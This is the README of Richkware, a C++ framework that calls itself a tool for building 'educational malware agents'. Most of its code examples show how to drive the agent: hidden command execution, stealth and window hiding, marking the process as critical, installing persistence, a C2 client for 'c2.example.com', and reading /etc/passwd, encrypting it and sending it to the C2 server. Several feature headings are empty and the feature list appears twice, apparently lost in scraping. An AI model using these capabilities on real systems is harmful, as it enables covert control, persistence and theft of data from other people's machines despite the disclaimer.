Richkware

CI CodeQL

Richkware is a modern C++20 framework for building educational malware agents. It provides a comprehensive, secure, and modular architecture for understanding malware mechanics and cybersecurity defense strategies.

Disclaimer / Ethical use: This project is intended only for educational and research purposes. Do not use the code to harm, compromise, or access systems without explicit permission. The author and contributors are not responsible for misuse.

Architecture

Richkware features a modern modular architecture with the following components:

System Overview

Richkware operates as part of a three-component ecosystem:

System Diagram

Documentation

  EN IT
Presentation PDF PDF
Report PDF PDF

Features

Core Capabilities

Security

System Integration

Network Operations

File Operations

Utilities

CI/CD

Richkware uses GitHub Actions for comprehensive cross-platform CI testing.

Build Status

CI

Requirements

To build and use Richkware, you need:

Platform Support

Platform Compiler Build Status
Linux GCC 11+, Clang 13+ ✅ CI Passing
macOS Clang (Xcode 16+) ✅ CI Passing
Windows MSVC 2022 ✅ CI Passing
Cross-compilation MinGW-w64 ❌ Not supported

Current CI Build Matrix:

All platforms are tested and supported through GitHub Actions CI with automated builds.

Getting Started

Basic Usage

#include <richkware/core/agent.hpp>

int main() {
    // Configure agent
    richkware::core::Config config{
        .app_name = "MyAgent",
        .encryption_key = "secure_key_here",
        .server_address = "127.0.0.1",
        .server_port = 8443,
        .user_id = "agent_001",
        .enable_encryption = true,
        .enable_stealth = true
    };
    
    // Create and initialize agent
    richkware::core::Agent agent(std::move(config));
    
    if (auto result = agent.initialize(); !result) {
        return 1;
    }
    
    // Start agent operations
    if (auto result = agent.start(); !result) {
        return 1;
    }
    
    // Agent runs in background threads
    while (agent.is_running()) {
        std::this_thread::sleep_for(std::chrono::seconds(1));
    }
    
    return 0;
}

Configuration Options

The agent can be configured through:

Compilation

For interactive build configuration, use the provided scripts:

Linux/macOS:

./build.sh

Windows:

build.bat

The scripts will prompt you for:

Using CMake Directly

# Create build directory
mkdir build && cd build

# Configure build
cmake .. -DCMAKE_BUILD_TYPE=Release

# Build project
cmake --build . --config Release

# Run tests (optional)
ctest

Build Options

# Enable testing
cmake .. -DRICHKWARE_BUILD_TESTS=ON

# Enable examples
cmake .. -DRICHKWARE_BUILD_EXAMPLES=ON

# Enable AddressSanitizer
cmake .. -DRICHKWARE_ENABLE_ASAN=ON

# Cross-compile for Windows
cmake .. -DCMAKE_TOOLCHAIN_FILE=cmake/mingw-w64.cmake

Dependencies Installation

Ubuntu/Debian

sudo apt update
sudo apt install build-essential cmake libssl-dev libgtest-dev

Windows (vcpkg)

vcpkg install openssl gtest
cmake .. -DCMAKE_TOOLCHAIN_FILE=[vcpkg root]/scripts/buildsystems/vcpkg.cmake

Usage Examples

Command Execution

// Execute command synchronously
auto result = agent.execute_command("whoami");
if (result) {
    std::cout << "Output: " << result.value() << std::endl;
}

// Execute with custom options
richkware::modules::ExecutionOptions options{
    .timeout = std::chrono::seconds(10),
    .run_hidden = true
};

auto cmd_result = command_executor.execute("dir C:\\", options);

Stealth Operations

// Enable stealth mode
agent.enable_stealth();

// Hide specific windows
stealth_manager.hide_window("Calculator");

// Set as critical process
stealth_manager.set_critical_process(true);

Persistence

// Install persistence
persistence_manager.install_persistence();

// Check if persistence is active
if (persistence_manager.has_persistence()) {
    std::cout << "Persistence active" << std::endl;
}

Secure Communications

// Configure secure C2 channel
richkware::network::NetworkClient client(
    "c2.example.com", 443, "encryption_key", true
);

// Send encrypted data
c2_protocol.send_response({
    .command_id = "cmd_123",
    .success = true,
    .output = "Command executed successfully"
});

File Operations

// List directory contents
auto files = file_manager.list_directory("/tmp");
if (files) {
    for (const auto& file : files.value()) {
        LOG_INFO("File: {} ({} bytes)", file.name, file.size);
    }
}

// Read and encrypt a file
auto content = file_manager.read_file("/etc/passwd");
if (content) {
    // Encrypt content
    auto encrypted = cipher.encrypt_string(std::string(content.value().begin(), content.value().end()));
    // Send to C2 server...
}

Logging

// Use the logging framework
LOG_INFO("Agent started successfully");
LOG_ERROR("Failed to connect to C2 server: {}", error_msg);
LOG_DEBUG("Processing command: {}", command_id);

// Configure log level
richkware::utils::Logger::getInstance().setLevel(richkware::utils::LogLevel::DEBUG);

API Reference

Core Components

Agent

richkware::core::Agent agent(config);
agent.initialize();
agent.start();
auto result = agent.execute_command("whoami");

File Manager

richkware::modules::FileManager file_manager;
auto files = file_manager.list_directory("/path/to/dir");
auto content = file_manager.read_file("/path/to/file");
file_manager.write_file("/path/to/file", data);

Command Executor

richkware::modules::CommandExecutor executor;
richkware::modules::ExecutionOptions opts{.timeout = std::chrono::seconds(30)};
auto result = executor.execute("ls -la", opts);

Cryptography

richkware::crypto::CipherManager cipher;
cipher.set_password("my_key");
auto encrypted = cipher.encrypt_string("secret data");
auto decrypted = cipher.decrypt_string(encrypted.value());

JSON Utilities

using nlohmann::json;
auto data = json::parse(R"({"key": "value"})");
std::string json_str = data.dump();
bool has_key = data.contains("key");

Logging

LOG_INFO("Operation completed");
LOG_ERROR("Something went wrong: {}", error_details);
LOG_DEBUG("Detailed debug info");

Testing

Richkware includes comprehensive unit and integration tests:

# Run all tests
ctest

# Run specific test suite
ctest -R crypto_tests

# Run with verbose output
ctest --verbose

Contributing

Contributions are welcome! Please:

  1. Follow the existing code style
  2. Add tests for new functionality
  3. Update documentation
  4. Ensure all tests pass

License

This project is licensed under the terms specified in the LICENSE file.

Security Notice

This software is for educational purposes only. Using this software for unauthorized access to computer systems is illegal and unethical. The authors are not responsible for misuse of this software.

Features

Core Capabilities

Security

System Integration

Network Operations

Advanced Modules

Utilities